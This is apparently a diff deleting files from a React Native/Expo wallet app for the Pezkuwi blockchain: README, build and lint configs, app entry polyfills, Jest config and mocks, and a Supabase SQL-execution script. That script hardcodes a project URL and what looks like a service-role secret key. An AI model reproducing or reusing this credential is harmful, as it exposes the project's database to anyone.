- ✅ Quick access to all features
|
||||
- ✅ Balance display (0.00 HEZ)
|
||||
- ✅ Staking stats
|
||||
- ✅ Rewards tracking
|
||||
- ✅ Active proposals counter
|
||||
- ✅ Navigation to: Wallet, Staking, Governance, DEX, History, Settings
|
||||
|
||||
#### **Settings Screen**
|
||||
- ✅ Language selection (change anytime)
|
||||
- ✅ Theme settings
|
||||
- ✅ Notification preferences
|
||||
- ✅ Security settings
|
||||
- ✅ About section
|
||||
- ✅ Logout functionality
|
||||
|
||||
### ⏳ Pending Features
|
||||
|
||||
- Polkadot.js mobile wallet integration
|
||||
- Live blockchain data (proposals, staking, treasury)
|
||||
- Biometric authentication
|
||||
- Push notifications
|
||||
- Transaction history
|
||||
- Governance voting
|
||||
- DEX/Swap functionality
|
||||
|
||||
## 🛠 Technology Stack
|
||||
|
||||
- **Framework:** React Native with Expo
|
||||
- **Language:** TypeScript
|
||||
- **Navigation:** React Navigation v6
|
||||
- **i18n:** react-i18next
|
||||
- **Storage:** AsyncStorage (for language preference)
|
||||
- **UI:** Custom components with Kurdistan colors
|
||||
- **State Management:** React Context API
|
||||
|
||||
## 🎨 Design System
|
||||
|
||||
**Kurdistan Flag Colors:**
|
||||
- **Kesk (Green):** `#00A94F` - Primary color
|
||||
- **Sor (Red):** `#EE2A35` - Accent color
|
||||
- **Zer (Gold):** `#FFD700` - Secondary accent
|
||||
- **Spi (White):** `#FFFFFF` - Backgrounds
|
||||
- **Reş (Black):** `#000000` - Text
|
||||
|
||||
## 📱 Screens
|
||||
|
||||
1. **WelcomeScreen** - Language selection with Kurdistan gradient
|
||||
2. **SignInScreen** - Beautiful login form
|
||||
3. **SignUpScreen** - Registration with validation
|
||||
4. **DashboardScreen** - Main app hub
|
||||
5. **SettingsScreen** - Full control including language change
|
||||
|
||||
## 🚀 Getting Started
|
||||
|
||||
### Installation
|
||||
|
||||
```bash
|
||||
cd mobile
|
||||
npm install
|
||||
```
|
||||
|
||||
### Run on iOS
|
||||
|
||||
```bash
|
||||
npm run ios
|
||||
```
|
||||
|
||||
### Run on Android
|
||||
|
||||
```bash
|
||||
npm run android
|
||||
```
|
||||
|
||||
### Run on Web (for testing)
|
||||
|
||||
```bash
|
||||
npm run web
|
||||
```
|
||||
|
||||
## 📂 Project Structure
|
||||
|
||||
```
|
||||
mobile/
|
||||
├── src/
|
||||
│ ├── i18n/
|
||||
│ │ ├── index.ts # i18n configuration
|
||||
│ │ └── locales/ # Translation files (6 languages)
|
||||
│ ├── screens/
|
||||
│ │ ├── WelcomeScreen.tsx
|
||||
│ │ ├── SignInScreen.tsx
|
||||
│ │ ├── SignUpScreen.tsx
|
||||
│ │ ├── DashboardScreen.tsx
|
||||
│ │ └── SettingsScreen.tsx
|
||||
│ ├── navigation/
|
||||
│ │ └── AppNavigator.tsx # Navigation logic
|
||||
│ ├── contexts/
|
||||
│ │ └── LanguageContext.tsx # Language management
|
||||
│ ├── theme/
|
||||
│ │ └── colors.ts # Kurdistan colors
|
||||
│ └── types/
|
||||
├── App.tsx # Main app entry
|
||||
└── package.json
|
||||
```
|
||||
|
||||
## 🌍 Language System Details
|
||||
|
||||
**How It Works:**
|
||||
1. App starts → User sees Welcome screen
|
||||
2. User selects language (EN/TR/KMR/CKB/AR/FA)
|
||||
3. Language choice is saved to AsyncStorage
|
||||
4. ALL app text uses `t('key')` from i18next
|
||||
5. User can change language in Settings anytime
|
||||
6. NO hard-coded strings anywhere
|
||||
|
||||
**RTL Support:**
|
||||
- CKB (Sorani), AR (Arabic), FA (Persian) are RTL
|
||||
- Layout automatically adapts for RTL languages
|
||||
- App restart may be required for full RTL switch
|
||||
|
||||
## 🔮 Next Steps
|
||||
|
||||
1. **Polkadot.js Integration**
|
||||
- Wallet connection
|
||||
- Transaction signing
|
||||
- Account management
|
||||
|
||||
2. **Live Blockchain Data**
|
||||
- Connect to Pezkuwi RPC
|
||||
- Real-time proposals
|
||||
- Staking info
|
||||
- Treasury data
|
||||
|
||||
3. **Advanced Features**
|
||||
- Biometric login (Face ID/Touch ID)
|
||||
- Push notifications
|
||||
- QR code scanning
|
||||
- Transaction history
|
||||
|
||||
## 📝 Development Notes
|
||||
|
||||
- Uses shared code from `../shared/` directory
|
||||
- Maintains consistency with web app UX
|
||||
- Follows mobile-first design principles
|
||||
- Comprehensive error handling
|
||||
- Professional logging
|
||||
|
||||
## 🎯 Mission Accomplished
|
||||
|
||||
This mobile app is built with **ZERO hard-coded language**. Every single text element is dynamically translated based on user's language selection. The app truly speaks the user's language - whether they're Turkish, Kurdish, Arab, Persian, or English speaker.
|
||||
|
||||
**Kurdistan colors shine throughout** - from the gradient welcome screen to every button and card.
|
||||
|
||||
---
|
||||
|
||||
**Built with ❤️ for Pezkuwi Blockchain**
|
||||
@@ -1,28 +0,0 @@
|
||||
{
|
||||
"cli": {
|
||||
"version": ">= 13.2.0",
|
||||
"appVersionSource": "local"
|
||||
},
|
||||
"build": {
|
||||
"development": {
|
||||
"developmentClient": true,
|
||||
"distribution": "internal"
|
||||
},
|
||||
"preview": {
|
||||
"distribution": "internal",
|
||||
"android": {
|
||||
"buildType": "apk",
|
||||
"credentialsSource": "local"
|
||||
}
|
||||
},
|
||||
"production": {
|
||||
"android": {
|
||||
"buildType": "app-bundle",
|
||||
"credentialsSource": "local"
|
||||
}
|
||||
}
|
||||
},
|
||||
"submit": {
|
||||
"production": {}
|
||||
}
|
||||
}
|
||||
@@ -1,80 +0,0 @@
|
||||
import globals from "globals";
|
||||
import tseslint from "typescript-eslint";
|
||||
import pluginReact from "eslint-plugin-react";
|
||||
import hooksPlugin from "eslint-plugin-react-hooks";
|
||||
|
||||
export default tseslint.config(
|
||||
{
|
||||
ignores: [
|
||||
"node_modules/**",
|
||||
".expo/**",
|
||||
".expo-shared/**",
|
||||
"dist/**",
|
||||
"coverage/**",
|
||||
"jest.config.js",
|
||||
"jest.config.cjs",
|
||||
"jest.setup.js",
|
||||
"jest.setup.cjs",
|
||||
"metro.config.js",
|
||||
"eslint.config.js",
|
||||
"babel.config.js",
|
||||
"**/*.cjs",
|
||||
"**/__tests__/**",
|
||||
"**/__mocks__/**",
|
||||
],
|
||||
},
|
||||
// Config for React Native app files
|
||||
{
|
||||
files: ["src/**/*.{js,jsx,ts,tsx}", "App.tsx", "index.ts"],
|
||||
plugins: {
|
||||
react: pluginReact,
|
||||
"react-hooks": hooksPlugin,
|
||||
},
|
||||
languageOptions: {
|
||||
globals: {
|
||||
...globals.node,
|
||||
...globals.es2020,
|
||||
__DEV__: "readonly",
|
||||
},
|
||||
parser: tseslint.parser,
|
||||
parserOptions: {
|
||||
ecmaFeatures: {
|
||||
jsx: true,
|
||||
},
|
||||
project: "./tsconfig.json",
|
||||
tsconfigRootDir: import.meta.dirname,
|
||||
},
|
||||
},
|
||||
rules: {
|
||||
...hooksPlugin.configs.recommended.rules,
|
||||
...pluginReact.configs.recommended.rules,
|
||||
|
||||
// React
|
||||
"react/react-in-jsx-scope": "off",
|
||||
"react/prop-types": "off",
|
||||
"react/display-name": "off",
|
||||
|
||||
// TypeScript
|
||||
"@typescript-eslint/no-explicit-any": "warn",
|
||||
"@typescript-eslint/no-unused-vars": [
|
||||
"error",
|
||||
{
|
||||
argsIgnorePattern: "^_",
|
||||
varsIgnorePattern: "^_",
|
||||
},
|
||||
],
|
||||
"@typescript-eslint/explicit-module-boundary-types": "off",
|
||||
|
||||
// General
|
||||
"no-console": ["warn", { allow: ["warn", "error"] }],
|
||||
"prefer-const": "error",
|
||||
},
|
||||
settings: {
|
||||
react: {
|
||||
version: "detect",
|
||||
},
|
||||
},
|
||||
},
|
||||
// Global recommended rules
|
||||
...tseslint.configs.recommended
|
||||
);
|
||||
@@ -1,152 +0,0 @@
|
||||
/**
|
||||
* Execute SQL Files on Supabase
|
||||
*
|
||||
* This script runs SQL files directly on Supabase database
|
||||
*/
|
||||
|
||||
const { createClient } = require('@supabase/supabase-js');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const supabaseUrl = 'https://vsyrpfiwhjvahofxwytr.supabase.co';
|
||||
const supabaseServiceKey = 'sb_secret_oXy8Diay2J_u8dKPZLxdcQ_hq69Mrb6';
|
||||
|
||||
const supabase = createClient(supabaseUrl, supabaseServiceKey, {
|
||||
auth: {
|
||||
autoRefreshToken: false,
|
||||
persistSession: false
|
||||
}
|
||||
});
|
||||
|
||||
async function executeSQLFile(filename) {
|
||||
console.log(`\n${'='.repeat(70)}`);
|
||||
console.log(`📄 Executing: ${filename}`);
|
||||
console.log('='.repeat(70));
|
||||
|
||||
try {
|
||||
const sqlContent = fs.readFileSync(path.join(__dirname, filename), 'utf8');
|
||||
|
||||
// Split SQL by semicolons (simple parser)
|
||||
const statements = sqlContent
|
||||
.split(';')
|
||||
.map(s => s.trim())
|
||||
.filter(s => s.length > 0 && !s.startsWith('--') && !s.match(/^\/\*/));
|
||||
|
||||
console.log(`\n📊 Found ${statements.length} SQL statements\n`);
|
||||
|
||||
let successCount = 0;
|
||||
let errorCount = 0;
|
||||
|
||||
for (let i = 0; i < statements.length; i++) {
|
||||
const statement = statements[i];
|
||||
|
||||
// Skip comments and empty statements
|
||||
if (statement.startsWith('--') || statement.length < 5) {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Show first 80 chars of statement
|
||||
const preview = statement.substring(0, 80).replace(/\s+/g, ' ');
|
||||
process.stdout.write(` [${i + 1}/${statements.length}] ${preview}...`);
|
||||
|
||||
try {
|
||||
// Execute using RPC query function (if available)
|
||||
// Note: This requires a custom RPC function in Supabase
|
||||
// Alternative: Use REST API directly
|
||||
|
||||
const response = await fetch(`${supabaseUrl}/rest/v1/rpc/exec_sql`, {
|
||||
method: 'POST',
|
||||
headers: {
|
||||
'Content-Type': 'application/json',
|
||||
'apikey': supabaseServiceKey,
|
||||
'Authorization': `Bearer ${supabaseServiceKey}`
|
||||
},
|
||||
body: JSON.stringify({ sql: statement })
|
||||
});
|
||||
|
||||
if (response.ok) {
|
||||
console.log(' ✅');
|
||||
successCount++;
|
||||
} else {
|
||||
const error = await response.text();
|
||||
console.log(` ❌ ${error}`);
|
||||
errorCount++;
|
||||
}
|
||||
} catch (error) {
|
||||
console.log(` ❌ ${error.message}`);
|
||||
errorCount++;
|
||||
}
|
||||
}
|
||||
|
||||
console.log(`\n${'='.repeat(70)}`);
|
||||
console.log(`📊 Results: ${successCount} succeeded, ${errorCount} failed`);
|
||||
console.log('='.repeat(70));
|
||||
|
||||
return { success: successCount, errors: errorCount };
|
||||
|
||||
} catch (error) {
|
||||
console.error(`❌ Error reading file: ${error.message}`);
|
||||
return { success: 0, errors: 1 };
|
||||
}
|
||||
}
|
||||
|
||||
async function main() {
|
||||
console.log('\n🚀 Starting SQL Execution...\n');
|
||||
|
||||
// Step 1: Fix schema compatibility
|
||||
console.log('📝 Step 1: Fixing schema compatibility...');
|
||||
const result1 = await executeSQLFile('FIX_SCHEMA_COMPATIBILITY.sql');
|
||||
|
||||
// Step 2: Create missing tables
|
||||
console.log('\n📝 Step 2: Creating missing tables...');
|
||||
const result2 = await executeSQLFile('SUPABASE_SCHEMA.sql');
|
||||
|
||||
// Summary
|
||||
console.log('\n' + '='.repeat(70));
|
||||
console.log('🎉 EXECUTION SUMMARY');
|
||||
console.log('='.repeat(70));
|
||||
console.log(`\nStep 1 (Compatibility Fix):`);
|
||||
console.log(` ✅ Success: ${result1.success}`);
|
||||
console.log(` ❌ Errors: ${result1.errors}`);
|
||||
console.log(`\nStep 2 (Create Tables):`);
|
||||
console.log(` ✅ Success: ${result2.success}`);
|
||||
console.log(` ❌ Errors: ${result2.errors}`);
|
||||
console.log('\n' + '='.repeat(70));
|
||||
|
||||
if (result1.errors === 0 && result2.errors === 0) {
|
||||
console.log('\n✅ ALL OPERATIONS COMPLETED SUCCESSFULLY!\n');
|
||||
console.log('📝 Next step: Run verification script');
|
||||
console.log(' node check_schema_compatibility.cjs\n');
|
||||
} else {
|
||||
console.log('\n⚠️ Some operations failed. Check errors above.\n');
|
||||
}
|
||||
}
|
||||
|
||||
// Alternative: Use Management API
|
||||
async function executeViaManagementAPI() {
|
||||
console.log('\n📝 Attempting to execute via Management API...\n');
|
||||
|
||||
// Supabase doesn't have a public SQL execution API
|
||||
// Best option is to use Supabase Dashboard SQL Editor
|
||||
console.log('⚠️ Supabase JS SDK does not support direct SQL execution');
|
||||
console.log('ℹ️ SQL must be executed via Supabase Dashboard\n');
|
||||
console.log('📋 Instructions:');
|
||||
console.log(' 1. Go to: https://app.supabase.com');
|
||||
console.log(' 2. Select project: vsyrpfiwhjvahofxwytr');
|
||||
console.log(' 3. Open: SQL Editor (left menu)');
|
||||
console.log(' 4. Copy contents of: FIX_SCHEMA_COMPATIBILITY.sql');
|
||||
console.log(' 5. Paste and click: Run');
|
||||
console.log(' 6. Repeat for: SUPABASE_SCHEMA.sql\n');
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check if we can execute SQL programmatically
|
||||
executeViaManagementAPI().then(canExecute => {
|
||||
if (!canExecute) {
|
||||
console.log('⚠️ Manual execution required via Supabase Dashboard\n');
|
||||
process.exit(1);
|
||||
} else {
|
||||
main().then(() => process.exit(0));
|
||||
}
|
||||
});
|
||||
@@ -1,60 +0,0 @@
|
||||
// CRITICAL: Import crypto polyfill FIRST before anything else
|
||||
if (__DEV__) console.warn('🚀 [INDEX] Starting app initialization...');
|
||||
if (__DEV__) console.warn('📦 [INDEX] Loading react-native-get-random-values...');
|
||||
import 'react-native-get-random-values';
|
||||
if (__DEV__) console.warn('✅ [INDEX] react-native-get-random-values loaded');
|
||||
|
||||
// React Native polyfills for @pezkuwi packages
|
||||
if (__DEV__) console.warn('📦 [INDEX] Loading URL polyfill...');
|
||||
import 'react-native-url-polyfill/auto';
|
||||
if (__DEV__) console.warn('✅ [INDEX] URL polyfill loaded');
|
||||
|
||||
if (__DEV__) console.warn('📦 [INDEX] Setting up Buffer...');
|
||||
// Global polyfills for Polkadot.js
|
||||
// Global Buffer assignment for polyfill
|
||||
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||
global.Buffer = global.Buffer || require('buffer').Buffer;
|
||||
if (__DEV__) console.warn('✅ [INDEX] Buffer configured');
|
||||
|
||||
// TextEncoder/TextDecoder polyfill
|
||||
if (__DEV__) console.warn('📦 [INDEX] Setting up TextEncoder/TextDecoder...');
|
||||
if (typeof global.TextEncoder === 'undefined') {
|
||||
// eslint-disable-next-line @typescript-eslint/no-require-imports
|
||||
const encoding = require('text-encoding');
|
||||
// Global TextEncoder assignment for polyfill
|
||||
global.TextEncoder = encoding.TextEncoder;
|
||||
// Global TextDecoder assignment for polyfill
|
||||
global.TextDecoder = encoding.TextDecoder;
|
||||
if (__DEV__) console.warn('✅ [INDEX] TextEncoder/TextDecoder configured');
|
||||
} else {
|
||||
if (__DEV__) console.warn('ℹ️ [INDEX] TextEncoder/TextDecoder already available');
|
||||
}
|
||||
|
||||
// Filter out known third-party deprecation warnings
|
||||
const originalWarn = console.warn;
|
||||
console.warn = (...args: unknown[]) => {
|
||||
const message = args[0]?.toString() || '';
|
||||
|
||||
// Filter react-native-web deprecation warnings
|
||||
if (message.includes('props.pointerEvents is deprecated')) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Pass through all other warnings
|
||||
originalWarn.apply(console, args);
|
||||
};
|
||||
|
||||
if (__DEV__) console.warn('📦 [INDEX] Loading Expo...');
|
||||
import { registerRootComponent } from 'expo';
|
||||
if (__DEV__) console.warn('✅ [INDEX] Expo loaded');
|
||||
|
||||
if (__DEV__) console.warn('📦 [INDEX] Loading App component...');
|
||||
import App from './App';
|
||||
if (__DEV__) console.warn('✅ [INDEX] App component loaded');
|
||||
|
||||
if (__DEV__) console.warn('🎯 [INDEX] All imports successful, registering root component...');
|
||||
|
||||
// registerRootComponent calls AppRegistry.registerComponent('main', () => App);
|
||||
// It also ensures that whether you load the app in Expo Go or in a native build,
|
||||
// the environment is set up appropriately
|
||||
registerRootComponent(App);
|
||||
@@ -1,35 +0,0 @@
|
||||
module.exports = {
|
||||
preset: 'jest-expo',
|
||||
setupFiles: ['<rootDir>/jest.setup.before.cjs'],
|
||||
setupFilesAfterEnv: ['<rootDir>/jest.setup.cjs'],
|
||||
transformIgnorePatterns: [
|
||||
'node_modules/(?!((jest-)?react-native|@react-native(-community)?)|expo(nent)?|@expo(nent)?/.*|@expo-google-fonts/.*|react-navigation|@react-navigation/.*|@unimodules/.*|unimodules|sentry-expo|native-base|react-native-svg|@polkadot/.*|@pezkuwi/.*|@babel/runtime)',
|
||||
'!../shared/.*',
|
||||
],
|
||||
moduleNameMapper: {
|
||||
'^@/(.*)$': '<rootDir>/src/$1',
|
||||
'react-native-gesture-handler': '<rootDir>/__mocks__/react-native-gesture-handler.js',
|
||||
'react-native-reanimated': '<rootDir>/__mocks__/react-native-reanimated.js',
|
||||
'^sonner$': '<rootDir>/__mocks__/sonner.js',
|
||||
'@polkadot/extension-dapp': '<rootDir>/__mocks__/polkadot-extension-dapp.js',
|
||||
// Mock shared lib modules that depend on @pezkuwi/api
|
||||
'^.*/shared/lib/tiki$': '<rootDir>/__mocks__/shared-lib-tiki.js',
|
||||
'^.*/shared/lib/referral$': '<rootDir>/__mocks__/shared-lib-referral.js',
|
||||
'^.*/shared/lib/scores$': '<rootDir>/__mocks__/shared-lib-scores.js',
|
||||
},
|
||||
testMatch: ['**/__tests__/**/*.test.(ts|tsx|js)'],
|
||||
collectCoverageFrom: [
|
||||
'src/**/*.{ts,tsx}',
|
||||
'!src/**/*.d.ts',
|
||||
'!src/**/__tests__/**',
|
||||
'!src/**/types/**',
|
||||
],
|
||||
coverageThreshold: {
|
||||
global: {
|
||||
statements: 35,
|
||||
branches: 20,
|
||||
functions: 25,
|
||||
lines: 35,
|
||||
},
|
||||
},
|
||||
};
|
||||
@@ -1,22 +0,0 @@
|
||||
// Setup file that runs BEFORE setupFilesAfterEnv
|
||||
// This is needed to mock Expo's winter runtime before it loads
|
||||
|
||||
// Define __DEV__ global for React Native
|
||||
global.__DEV__ = true;
|
||||
|
||||
// Mock the __ExpoImportMetaRegistry getter to prevent winter errors
|
||||
Object.defineProperty(global, '__ExpoImportMetaRegistry__', {
|
||||
get() {
|
||||
return {
|
||||
get: () => ({}),
|
||||
register: () => {},
|
||||
};
|
||||
},
|
||||
configurable: true,
|
||||
});
|
||||
|
||||
// Mock expo module
|
||||
jest.mock('expo', () => ({
|
||||
...jest.requireActual('expo'),
|
||||
registerRootComponent: jest.fn(),
|
||||
}));
|
||||
@@ -1,348 +0,0 @@
|
||||
// Jest setup for React Native testing
|
||||
// @testing-library/react-native v12.4+ includes matchers by default
|
||||
|
||||
// Disable Expo's winter module system for tests
|
||||
process.env.EXPO_USE_STATIC_RENDERING = 'true';
|
||||
global.__ExpoImportMetaRegistry__ = {};
|
||||
|
||||
// Mock navigation context for @react-navigation/core
|
||||
const mockNavigationObject = {
|
||||
navigate: jest.fn(),
|
||||
goBack: jest.fn(),
|
||||
setOptions: jest.fn(),
|
||||
addListener: jest.fn(() => () => {}),
|
||||
removeListener: jest.fn(),
|
||||
replace: jest.fn(),
|
||||
reset: jest.fn(),
|
||||
canGoBack: jest.fn(() => true),
|
||||
isFocused: jest.fn(() => true),
|
||||
dispatch: jest.fn(),
|
||||
getParent: jest.fn(),
|
||||
getState: jest.fn(() => ({
|
||||
routes: [],
|
||||
index: 0,
|
||||
})),
|
||||
setParams: jest.fn(),
|
||||
};
|
||||
|
||||
jest.mock('@react-navigation/core', () => {
|
||||
const actualCore = jest.requireActual('@react-navigation/core');
|
||||
return {
|
||||
...actualCore,
|
||||
useNavigation: () => mockNavigationObject,
|
||||
useRoute: () => ({
|
||||
params: {},
|
||||
key: 'test-route',
|
||||
name: 'TestScreen',
|
||||
}),
|
||||
useFocusEffect: jest.fn(),
|
||||
useIsFocused: () => true,
|
||||
};
|
||||
});
|
||||
|
||||
// Mock @react-navigation/native
|
||||
jest.mock('@react-navigation/native', () => {
|
||||
const actualNav = jest.requireActual('@react-navigation/native');
|
||||
return {
|
||||
...actualNav,
|
||||
useNavigation: () => mockNavigationObject,
|
||||
useRoute: () => ({
|
||||
params: {},
|
||||
key: 'test-route',
|
||||
name: 'TestScreen',
|
||||
}),
|
||||
useFocusEffect: jest.fn(),
|
||||
useIsFocused: () => true,
|
||||
};
|
||||
});
|
||||
|
||||
// Mock PezkuwiContext globally
|
||||
jest.mock('./src/contexts/PezkuwiContext', () => require('./src/__mocks__/contexts/PezkuwiContext'));
|
||||
|
||||
// Mock AuthContext globally
|
||||
jest.mock('./src/contexts/AuthContext', () => require('./src/__mocks__/contexts/AuthContext'));
|
||||
|
||||
// Mock ThemeContext globally
|
||||
jest.mock('./src/contexts/ThemeContext', () => require('./src/__mocks__/contexts/ThemeContext'));
|
||||
|
||||
// Mock BiometricAuthContext globally
|
||||
jest.mock('./src/contexts/BiometricAuthContext', () => require('./src/__mocks__/contexts/BiometricAuthContext'));
|
||||
|
||||
// Mock react-native-safe-area-context
|
||||
jest.mock('react-native-safe-area-context', () => {
|
||||
const insets = { top: 0, right: 0, bottom: 0, left: 0 };
|
||||
return {
|
||||
SafeAreaProvider: ({ children }) => children,
|
||||
SafeAreaView: ({ children }) => children,
|
||||
useSafeAreaInsets: () => insets,
|
||||
useSafeAreaFrame: () => ({ x: 0, y: 0, width: 390, height: 844 }),
|
||||
initialWindowMetrics: { insets, frame: { x: 0, y: 0, width: 390, height: 844 } },
|
||||
};
|
||||
});
|
||||
|
||||
// Mock expo modules
|
||||
jest.mock('expo-linear-gradient', () => ({
|
||||
LinearGradient: 'LinearGradient',
|
||||
}));
|
||||
|
||||
// Mock react-native-webview
|
||||
jest.mock('react-native-webview', () => ({
|
||||
WebView: 'WebView',
|
||||
WebViewMessageEvent: {},
|
||||
}));
|
||||
|
||||
jest.mock('expo-secure-store', () => ({
|
||||
setItemAsync: jest.fn(() => Promise.resolve()),
|
||||
getItemAsync: jest.fn(() => Promise.resolve(null)),
|
||||
deleteItemAsync: jest.fn(() => Promise.resolve()),
|
||||
}));
|
||||
|
||||
jest.mock('expo-local-authentication', () => ({
|
||||
authenticateAsync: jest.fn(() =>
|
||||
Promise.resolve({ success: true })
|
||||
),
|
||||
hasHardwareAsync: jest.fn(() => Promise.resolve(true)),
|
||||
isEnrolledAsync: jest.fn(() => Promise.resolve(true)),
|
||||
supportedAuthenticationTypesAsync: jest.fn(() => Promise.resolve([1])), // 1 = FINGERPRINT
|
||||
AuthenticationType: {
|
||||
FINGERPRINT: 1,
|
||||
FACIAL_RECOGNITION: 2,
|
||||
IRIS: 3,
|
||||
},
|
||||
}));
|
||||
|
||||
// Mock AsyncStorage
|
||||
jest.mock('@react-native-async-storage/async-storage', () =>
|
||||
require('@react-native-async-storage/async-storage/jest/async-storage-mock')
|
||||
);
|
||||
|
||||
// Mock Polkadot.js (virtual: true because package may not be installed in CI)
|
||||
jest.mock('@polkadot/api', () => ({
|
||||
ApiPromise: {
|
||||
create: jest.fn(() =>
|
||||
Promise.resolve({
|
||||
isReady: Promise.resolve(true),
|
||||
query: {},
|
||||
tx: {},
|
||||
rpc: {},
|
||||
disconnect: jest.fn(),
|
||||
})
|
||||
),
|
||||
},
|
||||
WsProvider: jest.fn(),
|
||||
}), { virtual: true });
|
||||
|
||||
// Mock @pezkuwi packages (aliases for @polkadot packages)
|
||||
jest.mock('@pezkuwi/api', () => ({
|
||||
ApiPromise: {
|
||||
create: jest.fn(() =>
|
||||
Promise.resolve({
|
||||
isReady: Promise.resolve(true),
|
||||
query: {
|
||||
treasury: {
|
||||
treasury: jest.fn(() => Promise.resolve({ toString: () => '1000000000000000' })),
|
||||
proposals: {
|
||||
entries: jest.fn(() => Promise.resolve([])),
|
||||
},
|
||||
},
|
||||
democracy: {
|
||||
referendumInfoOf: {
|
||||
entries: jest.fn(() => Promise.resolve([])),
|
||||
},
|
||||
},
|
||||
dynamicCommissionCollective: {
|
||||
proposals: jest.fn(() => Promise.resolve([])),
|
||||
voting: jest.fn(() => Promise.resolve({ isSome: false })),
|
||||
},
|
||||
},
|
||||
tx: {},
|
||||
rpc: {},
|
||||
disconnect: jest.fn(),
|
||||
})
|
||||
),
|
||||
},
|
||||
WsProvider: jest.fn(),
|
||||
}), { virtual: true });
|
||||
|
||||
jest.mock('@pezkuwi/keyring', () => ({
|
||||
Keyring: jest.fn().mockImplementation(() => ({
|
||||
addFromUri: jest.fn((mnemonic, meta, type) => ({
|
||||
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||
meta: meta || {},
|
||||
type: type || 'sr25519',
|
||||
publicKey: new Uint8Array(32),
|
||||
sign: jest.fn(),
|
||||
verify: jest.fn(),
|
||||
})),
|
||||
addFromMnemonic: jest.fn((mnemonic, meta, type) => ({
|
||||
address: '5GrwvaEF5zXb26Fz9rcQpDWS57CtERHpNehXCPcNoHGKutQY',
|
||||
meta: meta || {},
|
||||
type: type || 'sr25519',
|
||||
publicKey: new Uint8Array(32),
|
||||
sign: jest.fn(),
|
||||
verify: jest.fn(),
|
||||
})),
|
||||
getPairs: jest.fn(() => []),
|
||||
getPair: jest.fn((address) => ({
|
||||
address: address,
|
||||
meta: {},
|
||||
type: 'sr25519',
|
||||
publicKey: new Uint8Array(32),
|
||||
sign: jest.fn(),
|
||||
verify: jest.fn(),
|
||||
})),
|
||||
})),
|
||||
}), { virtual: true });
|
||||
|
||||
jest.mock('@pezkuwi/util-crypto', () => ({
|
||||
cryptoWaitReady: jest.fn(() => Promise.resolve(true)),
|
||||
mnemonicGenerate: jest.fn(() => 'test test test test test test test test test test test junk'),
|
||||
mnemonicValidate: jest.fn(() => true),
|
||||
}), { virtual: true });
|
||||
|
||||
// Mock shared lib modules (they use @pezkuwi/api which is not available in CI)
|
||||
jest.mock('../shared/lib/tiki', () => ({
|
||||
Tiki: {
|
||||
Welati: 'Welati',
|
||||
Parlementer: 'Parlementer',
|
||||
Serok: 'Serok',
|
||||
},
|
||||
RoleAssignmentType: {},
|
||||
TIKI_DISPLAY_NAMES: {},
|
||||
TIKI_SCORES: {},
|
||||
ROLE_CATEGORIES: {},
|
||||
fetchUserTikis: jest.fn(() => Promise.resolve([])),
|
||||
isCitizen: jest.fn(() => Promise.resolve(false)),
|
||||
calculateTikiScore: jest.fn(() => 0),
|
||||
getPrimaryRole: jest.fn(() => 'Welati'),
|
||||
getTikiDisplayName: jest.fn((tiki) => tiki),
|
||||
getUserRoleCategories: jest.fn(() => []),
|
||||
hasTiki: jest.fn(() => false),
|
||||
getTikiColor: jest.fn(() => '#22C55E'),
|
||||
getTikiEmoji: jest.fn(() => '👤'),
|
||||
getTikiBadgeVariant: jest.fn(() => 'default'),
|
||||
fetchUserTikiNFTs: jest.fn(() => Promise.resolve([])),
|
||||
getCitizenNFTDetails: jest.fn(() => Promise.resolve(null)),
|
||||
getAllTikiNFTDetails: jest.fn(() => Promise.resolve([])),
|
||||
generateCitizenNumber: jest.fn(() => 'CIT-001'),
|
||||
}), { virtual: true });
|
||||
|
||||
jest.mock('../shared/lib/referral', () => ({
|
||||
initiateReferral: jest.fn(() => Promise.resolve()),
|
||||
getPendingReferral: jest.fn(() => Promise.resolve(null)),
|
||||
getReferralCount: jest.fn(() => Promise.resolve(0)),
|
||||
getReferralInfo: jest.fn(() => Promise.resolve(null)),
|
||||
calculateReferralScore: jest.fn(() => 0),
|
||||
getReferralStats: jest.fn(() => Promise.resolve({ totalReferred: 0, pendingCount: 0, confirmedCount: 0 })),
|
||||
getMyReferrals: jest.fn(() => Promise.resolve([])),
|
||||
subscribeToReferralEvents: jest.fn(() => jest.fn()),
|
||||
}), { virtual: true });
|
||||
|
||||
jest.mock('../shared/lib/scores', () => ({
|
||||
getTrustScore: jest.fn(() => Promise.resolve(0)),
|
||||
getTrustScoreDetails: jest.fn(() => Promise.resolve(null)),
|
||||
getReferralScore: jest.fn(() => Promise.resolve(0)),
|
||||
getReferralCount: jest.fn(() => Promise.resolve(0)),
|
||||
getStakingScoreFromPallet: jest.fn(() => Promise.resolve(0)),
|
||||
getTikiScore: jest.fn(() => Promise.resolve(0)),
|
||||
getAllScores: jest.fn(() => Promise.resolve({
|
||||
trustScore: 0,
|
||||
referralScore: 0,
|
||||
stakingScore: 0,
|
||||
tikiScore: 0,
|
||||
totalScore: 0,
|
||||
})),
|
||||
getScoreColor: jest.fn(() => '#22C55E'),
|
||||
getScoreRating: jest.fn(() => 'Good'),
|
||||
formatScore: jest.fn((score) => String(score)),
|
||||
}), { virtual: true });
|
||||
|
||||
// Mock Supabase
|
||||
jest.mock('./src/lib/supabase', () => ({
|
||||
supabase: {
|
||||
auth: {
|
||||
signInWithPassword: jest.fn(),
|
||||
signUp: jest.fn(),
|
||||
signOut: jest.fn(),
|
||||
getSession: jest.fn(() => Promise.resolve({ data: { session: null }, error: null })),
|
||||
onAuthStateChange: jest.fn(() => ({
|
||||
data: {
|
||||
subscription: {
|
||||
unsubscribe: jest.fn(),
|
||||
},
|
||||
},
|
||||
})),
|
||||
},
|
||||
from: jest.fn(() => ({
|
||||
select: jest.fn().mockReturnThis(),
|
||||
insert: jest.fn().mockReturnThis(),
|
||||
update: jest.fn().mockReturnThis(),
|
||||
delete: jest.fn().mockReturnThis(),
|
||||
eq: jest.fn().mockReturnThis(),
|
||||
order: jest.fn().mockReturnThis(),
|
||||
single: jest.fn().mockReturnThis(),
|
||||
})),
|
||||
},
|
||||
}));
|
||||
|
||||
// Mock shared blockchain utilities
|
||||
jest.mock('../shared/blockchain', () => ({
|
||||
PEZKUWI_NETWORK: {
|
||||
name: 'Pezkuwi',
|
||||
